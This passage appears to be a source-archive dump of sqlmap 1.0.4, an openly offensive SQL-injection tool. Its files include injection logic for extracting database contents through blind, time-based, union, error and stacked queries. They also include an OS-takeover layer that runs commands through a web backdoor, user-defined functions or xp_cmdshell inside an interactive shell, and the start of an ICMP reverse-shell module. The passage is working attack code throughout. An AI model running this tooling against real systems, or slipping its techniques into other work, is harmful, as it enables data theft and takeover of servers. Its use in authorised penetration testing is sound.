httplib.BadStatusLine), ex: self._tunnel_host = None logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex)) if not success: errMsg = "can't establish SSL connection" if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion("2.7.10"): errMsg += " (please retry with Python >= 2.7.10)" raise SqlmapConnectionException(errMsg) class HTTPSHandler(urllib2.HTTPSHandler): def https_open(self, req): return self.do_open(HTTPSConnection if ssl else httplib.HTTPSConnection, req) # Bug fix (http://bugs.python.org/issue17849) def _(self, *args): return self._readline() httplib.LineAndFileWrapper._readline = httplib.LineAndFileWrapper.readline httplib.LineAndFileWrapper.readline = _ sqlmap-1.0.4/lib/request/inject.py000066400000000000000000000512411270044205500170770ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re import time from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import cleanQuery from lib.core.common import expandAsteriskForColumns from lib.core.common import extractExpectedValue from lib.core.common import getPublicTypeMembers from lib.core.common import getTechniqueData from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import initTechnique from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import parseUnionPage from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import MAX_TECHNIQUES_PER_VALUE from lib.core.settings import SQL_SCALAR_REGEX from lib.core.threads import getCurrentThreadData from lib.request.connect import Connect as Request from lib.request.direct import direct from lib.techniques.blind.inference import bisection from lib.techniques.blind.inference import queryOutputLength from lib.techniques.dns.test import dnsTest from lib.techniques.dns.use import dnsUse from lib.techniques.error.use import errorUse from lib.techniques.union.use import unionUse def _goDns(payload, expression): value = None if conf.dnsName and kb.dnsTest is not False and not kb.testMode and Backend.getDbms() is not None: if kb.dnsTest is None: dnsTest(payload) if kb.dnsTest: value = dnsUse(payload, expression) return value def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False, field=None): start = time.time() value = None count = 0 value = _goDns(payload, expression) if value is not None: return value timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) if not (timeBasedCompare and kb.dnsTest): if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search("(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not conf.forceThreads): if field and re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): expression = "SELECT %s FROM (%s)" % (field, expression) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression)) if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields.split(','): nulledCastedField = agent.nullAndCastField(field) injExpression = expression.replace(field, nulledCastedField, 1) else: injExpression = expression length = queryOutputLength(injExpression, payload) else: length = None kb.inferenceMode = True count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump) kb.inferenceMode = False if not kb.bruteMode: debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) return value def _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False): outputs = [] origExpr = None for field in expressionFieldsList: output = None if field.startswith("ROWNUM "): continue if isinstance(num, int): origExpr = expression expression = agent.limitQuery(num, expression, field, expressionFieldsList[0]) if "ROWNUM" in expressionFieldsList: expressionReplaced = expression else: expressionReplaced = expression.replace(expressionFields, field, 1) output = _goInference(payload, expressionReplaced, charsetType, firstChar, lastChar, dump, field) if isinstance(num, int): expression = origExpr outputs.append(output) return outputs def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Retrieve the output of a SQL query characted by character taking advantage of an blind SQL injection vulnerability on the affected parameter through a bisection algorithm. """ initTechnique(kb.technique) query = agent.prefixQuery(kb.injection.data[kb.technique].vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) count = None startLimit = 0 stopLimit = None outputs = BigArray() if not unpack: return _goInference(payload, expression, charsetType, firstChar, lastChar, dump) _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD): expressionFieldsList = [expressionFields] if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than one field. " infoMsg += "sqlmap will now unpack it into distinct queries " infoMsg += "to be able to retrieve the output even if we " infoMsg += "are going blind" logger.info(infoMsg) # If we have been here from SQL query/shell we have to check if # the SQL query might return multiple entries and in such case # forge the SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table # can return multiple entries if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \ expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression) if limitCond: test = True if not stopLimit or stopLimit <= 1: if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): test = False if test: # Count the number of SQL query entries output countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0] countedExpression = expression.replace(expressionFields, countFirstField, 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] if not stopLimit: count = _goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar) if isNumPosStrValue(count): count = int(count) if batch or count == 1: stopLimit = count else: message = "the SQL query provided can return " message += "%d entries. How many " % count message += "entries do you want to retrieve?\n" message += "[a] All (default)\n[#] Specific number\n" message += "[q] Quit" test = readInput(message, default="a") if not test or test[0] in ("a", "A"): stopLimit = count elif test[0] in ("q", "Q"): raise SqlmapUserQuitException elif test.isdigit() and int(test) > 0 and int(test) <= count: stopLimit = int(test) infoMsg = "sqlmap is now going to retrieve the " infoMsg += "first %d query output entries" % stopLimit logger.info(infoMsg) elif test[0] in ("#", "s", "S"): message = "how many? " stopLimit = readInput(message, default="10") if not stopLimit.isdigit(): errMsg = "invalid choice" logger.error(errMsg) return None else: stopLimit = int(stopLimit) else: errMsg = "invalid choice" logger.error(errMsg) return None elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return None elif (not stopLimit or stopLimit == 0): return None try: try: for num in xrange(startLimit, stopLimit): output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) outputs.append(output) except OverflowError: errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) errMsg += "with switch '--fresh-queries'" raise SqlmapDataException(errMsg) except KeyboardInterrupt: print warnMsg = "user aborted during dumping phase" logger.warn(warnMsg) return outputs elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper(): expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) return ", ".join(output for output in outputs) if not isNoneValue(outputs) else None def _goBooleanProxy(expression): """ Retrieve the output of a boolean based SQL query """ initTechnique(kb.technique) if conf.dnsName: query = agent.prefixQuery(kb.injection.data[kb.technique].vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) output = _goDns(payload, expression) if output is not None: return output vector = kb.injection.data[kb.technique].vector vector = vector.replace("[INFERENCE]", expression) query = agent.prefixQuery(vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) output = hashDBRetrieve(expression, checkConf=True) if output is None: output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False) if output is not None: hashDBWrite(expression, output) return output def _goUnion(expression, unpack=True, dump=False): """ Retrieve the output of a SQL query taking advantage of an union SQL injection vulnerability on the affected parameter. """ output = unionUse(expression, unpack=unpack, dump=dump) if isinstance(output, basestring): output = parseUnionPage(output) return output def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert: charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: pushValue(conf.db) pushValue(conf.tbl) if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.upper().startswith("SELECT "): booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8] fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion try: value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) except SqlmapConnectionException: if not fallback: raise count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if not found and fallback: warnMsg = "something went wrong with full UNION " warnMsg += "technique (could be because of " warnMsg += "limitation on retrieved number of entries)" if " FROM " in query.upper(): warnMsg += ". Falling back to partial UNION technique" singleTimeWarnMessage(warnMsg) try: pushValue(kb.forcePartialUnion) kb.forcePartialUnion = True value = _goUnion(query, unpack, dump) found = (value is not None) or (value is None and expectingNone) finally: kb.forcePartialUnion = popValue() else: singleTimeWarnMessage(warnMsg) if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsName: _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION}.items()))) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found: kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found: kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", expression)) if re.search(r"(?i)SELECT.+FROM", expression) else None if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): kb.technique = PAYLOAD.TECHNIQUE.TIME else: kb.technique = PAYLOAD.TECHNIQUE.STACKED if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise SqlmapNotVulnerableException(errMsg) finally: kb.resumeValues = True kb.responseTimeMode = None conf.tbl = popValue() conf.db = popValue() if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else "" singleTimeWarnMessage(warnMsg) return extractExpectedValue(value, expected) def goStacked(expression, silent=False): if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data: kb.technique = PAYLOAD.TECHNIQUE.STACKED else: for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True): _ = getTechniqueData(technique) if _ and "stacked" in _["title"].lower(): kb.technique = technique break expression = cleanQuery(expression) if conf.direct: return direct(expression) query = agent.prefixQuery(";%s" % expression) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare="SELECT" in (payload or "").upper()) def checkBooleanExpression(expression, expectingNone=True): return getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=expectingNone) sqlmap-1.0.4/lib/request/methodrequest.py000066400000000000000000000007001270044205500205060ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import urllib2 class MethodRequest(urllib2.Request): """ Used to create HEAD/PUT/DELETE/... requests with urllib2 """ def set_method(self, method): self.method = method.upper() def get_method(self): return getattr(self, 'method', urllib2.Request.get_method(self)) sqlmap-1.0.4/lib/request/pkihandler.py000066400000000000000000000013171270044205500177430ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import httplib import urllib2 from lib.core.data import conf class HTTPSPKIAuthHandler(urllib2.HTTPSHandler): def __init__(self, auth_file): urllib2.HTTPSHandler.__init__(self) self.auth_file = auth_file def https_open(self, req): return self.do_open(self.getConnection, req) def getConnection(self, host, timeout=None): # Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout) sqlmap-1.0.4/lib/request/rangehandler.py000066400000000000000000000026431270044205500202570ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import urllib import urllib2 from lib.core.exception import SqlmapConnectionException class HTTPRangeHandler(urllib2.BaseHandler): """ Handler that enables HTTP Range headers. Reference: http://stackoverflow.com/questions/1971240/python-seek-on-remote-file This was extremely simple. The Range header is a HTTP feature to begin with so all this class does is tell urllib2 that the "206 Partial Content" response from the HTTP server is what we expected. Example: import urllib2 import byterange range_handler = range.HTTPRangeHandler() opener = urllib2.build_opener(range_handler) # install it urllib2.install_opener(opener) # create Request and set Range header req = urllib2.Request('http://www.python.org/') req.header['Range'] = 'bytes=30-50' f = urllib2.urlopen(req) """ def http_error_206(self, req, fp, code, msg, hdrs): # 206 Partial Content Response r = urllib.addinfourl(fp, hdrs, req.get_full_url()) r.code = code r.msg = msg return r def http_error_416(self, req, fp, code, msg, hdrs): # HTTP's Range Not Satisfiable error errMsg = "Invalid range" raise SqlmapConnectionException(errMsg) sqlmap-1.0.4/lib/request/redirecthandler.py000066400000000000000000000151261270044205500207640ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import types import urllib2 import urlparse from StringIO import StringIO from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.common import getHostHeader from lib.core.common import getUnicode from lib.core.common import logHTTPTraffic from lib.core.common import readInput from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import REDIRECTION from lib.core.exception import SqlmapConnectionException from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import MAX_SINGLE_URL_REDIRECTIONS from lib.core.settings import MAX_TOTAL_REDIRECTIONS from lib.core.threads import getCurrentThreadData from lib.request.basic import decodePage from lib.request.basic import parseResponse class SmartRedirectHandler(urllib2.HTTPRedirectHandler): def _get_header_redirect(self, headers): retVal = None if headers: if "location" in headers: retVal = headers.getheaders("location")[0] elif "uri" in headers: retVal = headers.getheaders("uri")[0] return retVal def _ask_redirect_choice(self, redcode, redurl, method): with kb.locks.redirect: if kb.redirectChoice is None: msg = "sqlmap got a %d redirect to " % redcode msg += "'%s'. Do you want to follow? [Y/n] " % redurl choice = readInput(msg, default="Y") kb.redirectChoice = choice.upper() if kb.redirectChoice == REDIRECTION.YES and method == HTTPMETHOD.POST and kb.resendPostOnRedirect is None: msg = "redirect is a result of a " msg += "POST request. Do you want to " msg += "resend original POST data to a new " msg += "location? [%s] " % ("Y/n" if not kb.originalPage else "y/N") choice = readInput(msg, default=("Y" if not kb.originalPage else "N")) kb.resendPostOnRedirect = choice.upper() == 'Y' if kb.resendPostOnRedirect: self.redirect_request = self._redirect_request def _redirect_request(self, req, fp, code, msg, headers, newurl): newurl = newurl.replace(' ', '%20') return urllib2.Request(newurl, data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host()) def http_error_302(self, req, fp, code, msg, headers): content = None redurl = self._get_header_redirect(headers) try: content = fp.read(MAX_CONNECTION_TOTAL_SIZE) except Exception, msg: dbgMsg = "there was a problem while retrieving " dbgMsg += "redirect response content (%s)" % msg logger.debug(dbgMsg) finally: if content: try: # try to write it back to the read buffer so we could reuse it in further steps fp.fp._rbuf.truncate(0) fp.fp._rbuf.write(content) except: pass content = decodePage(content, headers.get(HTTP_HEADER.CONTENT_ENCODING), headers.get(HTTP_HEADER.CONTENT_TYPE)) threadData = getCurrentThreadData() threadData.lastRedirectMsg = (threadData.lastRequestUID, content) redirectMsg = "HTTP redirect " redirectMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, getUnicode(msg)) if headers: logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in headers.items()) else: logHeaders = "" redirectMsg += logHeaders if content: redirectMsg += "\n\n%s" % getUnicode(content[:MAX_CONNECTION_CHUNK_SIZE]) logHTTPTraffic(threadData.lastRequestMsg, redirectMsg) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, redirectMsg) if redurl: try: if not urlparse.urlsplit(redurl).netloc: redurl = urlparse.urljoin(req.get_full_url(), redurl) self._infinite_loop_check(req) self._ask_redirect_choice(code, redurl, req.get_method()) except ValueError: redurl = None result = fp if redurl and kb.redirectChoice == REDIRECTION.YES: parseResponse(content, headers) req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl) if headers and HTTP_HEADER.SET_COOKIE in headers: req.headers[HTTP_HEADER.COOKIE] = headers[HTTP_HEADER.SET_COOKIE].split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)[0] try: result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) except urllib2.HTTPError, e: result = e # Dirty hack for http://bugs.python.org/issue15701 try: result.info() except AttributeError: def _(self): return getattr(self, "hdrs") or {} result.info = types.MethodType(_, result) if not hasattr(result, "read"): def _(self, length=None): return e.msg result.read = types.MethodType(_, result) if not getattr(result, "url", None): result.url = redurl if not getattr(result, "code", None): result.code = 999 except: redurl = None result = fp fp.read = StringIO("").read else: result = fp threadData.lastRedirectURL = (threadData.lastRequestUID, redurl) result.redcode = code result.redurl = redurl return result http_error_301 = http_error_303 = http_error_307 = http_error_302 def _infinite_loop_check(self, req): if hasattr(req, 'redirect_dict') and (req.redirect_dict.get(req.get_full_url(), 0) >= MAX_SINGLE_URL_REDIRECTIONS or len(req.redirect_dict) >= MAX_TOTAL_REDIRECTIONS): errMsg = "infinite redirect loop detected (%s). " % ", ".join(item for item in req.redirect_dict.keys()) errMsg += "Please check all provided parameters and/or provide missing ones" raise SqlmapConnectionException(errMsg) sqlmap-1.0.4/lib/request/templates.py000066400000000000000000000011721270044205500176170ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.data import kb from lib.request.connect import Connect as Request def getPageTemplate(payload, place): retVal = (kb.originalPage, kb.errorIsNone) if payload and place: if (payload, place) not in kb.pageTemplates: page, _ = Request.queryPage(payload, place, content=True, raise404=False) kb.pageTemplates[(payload, place)] = (page, kb.lastParserStatus is None) retVal = kb.pageTemplates[(payload, place)] return retVal sqlmap-1.0.4/lib/takeover/000077500000000000000000000000001270044205500153765ustar00rootroot00000000000000sqlmap-1.0.4/lib/takeover/__init__.py000066400000000000000000000002261270044205500175070ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/lib/takeover/abstraction.py000066400000000000000000000171351270044205500202700ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import sys from extra.safe2bin.safe2bin import safechardecode from lib.core.common import dataToStdout from lib.core.common import Backend from lib.core.common import getSQLSnippet from lib.core.common import getUnicode from lib.core.common import isStackingAvailable from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.shell import autoCompletion from lib.request import inject from lib.takeover.udf import UDF from lib.takeover.web import Web from lib.takeover.xp_cmdshell import Xp_cmdshell class Abstraction(Web, UDF, Xp_cmdshell): """ This class defines an abstraction layer for OS takeover functionalities to UDF / Xp_cmdshell objects """ def __init__(self): self.envInitialized = False self.alwaysRetrieveCmdOutput = False UDF.__init__(self) Web.__init__(self) Xp_cmdshell.__init__(self) def execCmd(self, cmd, silent=False): if self.webBackdoorUrl and not isStackingAvailable(): self.webBackdoorRunCmd(cmd) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.udfExecCmd(cmd, silent=silent) elif Backend.isDbms(DBMS.MSSQL): self.xpCmdshellExecCmd(cmd, silent=silent) else: errMsg = "Feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) def evalCmd(self, cmd, first=None, last=None): retVal = None if self.webBackdoorUrl and not isStackingAvailable(): retVal = self.webBackdoorRunCmd(cmd) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): retVal = self.udfEvalCmd(cmd, first, last) elif Backend.isDbms(DBMS.MSSQL): retVal = self.xpCmdshellEvalCmd(cmd, first, last) else: errMsg = "Feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) return safechardecode(retVal) def runCmd(self, cmd): getOutput = None if not self.alwaysRetrieveCmdOutput: message = "do you want to retrieve the command standard " message += "output? [Y/n/a] " getOutput = readInput(message, default="Y") if getOutput in ("a", "A"): self.alwaysRetrieveCmdOutput = True if not getOutput or getOutput in ("y", "Y") or self.alwaysRetrieveCmdOutput: output = self.evalCmd(cmd) if output: conf.dumper.string("command standard output", output) else: dataToStdout("No output\n") else: self.execCmd(cmd) def shell(self): if self.webBackdoorUrl and not isStackingAvailable(): infoMsg = "calling OS shell. To quit type " infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) else: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): infoMsg = "going to use injected sys_eval and sys_exec " infoMsg += "user-defined functions for operating system " infoMsg += "command execution" logger.info(infoMsg) elif Backend.isDbms(DBMS.MSSQL): infoMsg = "going to use xp_cmdshell extended procedure for " infoMsg += "operating system command execution" logger.info(infoMsg) else: errMsg = "feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) infoMsg = "calling %s OS shell. To quit type " % (Backend.getOs() or "Windows") infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) autoCompletion(AUTOCOMPLETE_TYPE.OS, OS.WINDOWS if Backend.isOs(OS.WINDOWS) else OS.LINUX) while True: command = None try: command = raw_input("os-shell> ") command = getUnicode(command, encoding=sys.stdin.encoding) except KeyboardInterrupt: print errMsg = "user aborted" logger.error(errMsg) except EOFError: print errMsg = "exit" logger.error(errMsg) break if not command: continue if command.lower() in ("x", "q", "exit", "quit"): break self.runCmd(command) def _initRunAs(self): if not conf.dbmsCred: return if not conf.direct and not isStackingAvailable(): errMsg = "stacked queries are not supported hence sqlmap cannot " errMsg += "execute statements as another user. The execution " errMsg += "will continue and the DBMS credentials provided " errMsg += "will simply be ignored" logger.error(errMsg) return if Backend.isDbms(DBMS.MSSQL): msg = "on Microsoft SQL Server 2005 and 2008, OPENROWSET function " msg += "is disabled by default. This function is needed to execute " msg += "statements as another DBMS user since you provided the " msg += "option '--dbms-creds'. If you are DBA, you can enable it. " msg += "Do you want to enable it? [Y/n] " choice = readInput(msg, default="Y") if not choice or choice in ("y", "Y"): expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1") inject.goStacked(expression) # TODO: add support for PostgreSQL #elif Backend.isDbms(DBMS.PGSQL): # expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1") # inject.goStacked(expression) def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False): self._initRunAs() if self.envInitialized and not forceInit: return if web: self.webInit() else: self.checkDbmsOs(detailed) if mandatory and not self.isDba(): warnMsg = "functionality requested probably does not work because " warnMsg += "the curent session user is not a database administrator" if not conf.dbmsCred and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): warnMsg += ". You can try to use option '--dbms-cred' " warnMsg += "to execute statements as a DBA user if you " warnMsg += "were able to extract and crack a DBA " warnMsg += "password by any mean" logger.warn(warnMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): success = self.udfInjectSys() if success is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) elif Backend.isDbms(DBMS.MSSQL): if mandatory: self.xpCmdshellInit() else: errMsg = "feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) self.envInitialized = True sqlmap-1.0.4/lib/takeover/icmpsh.py000066400000000000000000000101271270044205500172340ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import time from extra.icmpsh.icmpsh_m import main as icmpshmaster from lib.core.common import getLocalIP from lib.core.common import getRemoteIP from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import randomStr from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger from lib.core.data import paths from lib.core.exception import SqlmapDataException class ICMPsh: """ This class defines methods to call icmpsh for plugins. """ def _initVars(self): self.lhostStr = None self.rhostStr = None self.localIP = getLocalIP() self.remoteIP = getRemoteIP() or conf.hostname self._icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_")) def _selectRhost(self): address = None message = "what is the back-end DBMS address? " if self.remoteIP: message += "[Enter for '%s' (detected)] " % self.remoteIP while not address: address = readInput(message, default=self.remoteIP) if conf.batch and not address: raise SqlmapDataException("remote host address is missing") return address def _selectLhost(self): address = None message = "what is the local address? " if self.localIP: message += "[Enter for '%s' (detected)] " % self.localIP while not address: address = readInput(message, default=self.localIP) if conf.batch and not address: raise SqlmapDataException("local host address is missing") return address def _prepareIngredients(self, encode=True): self.lhostStr = ICMPsh._selectLhost(self) 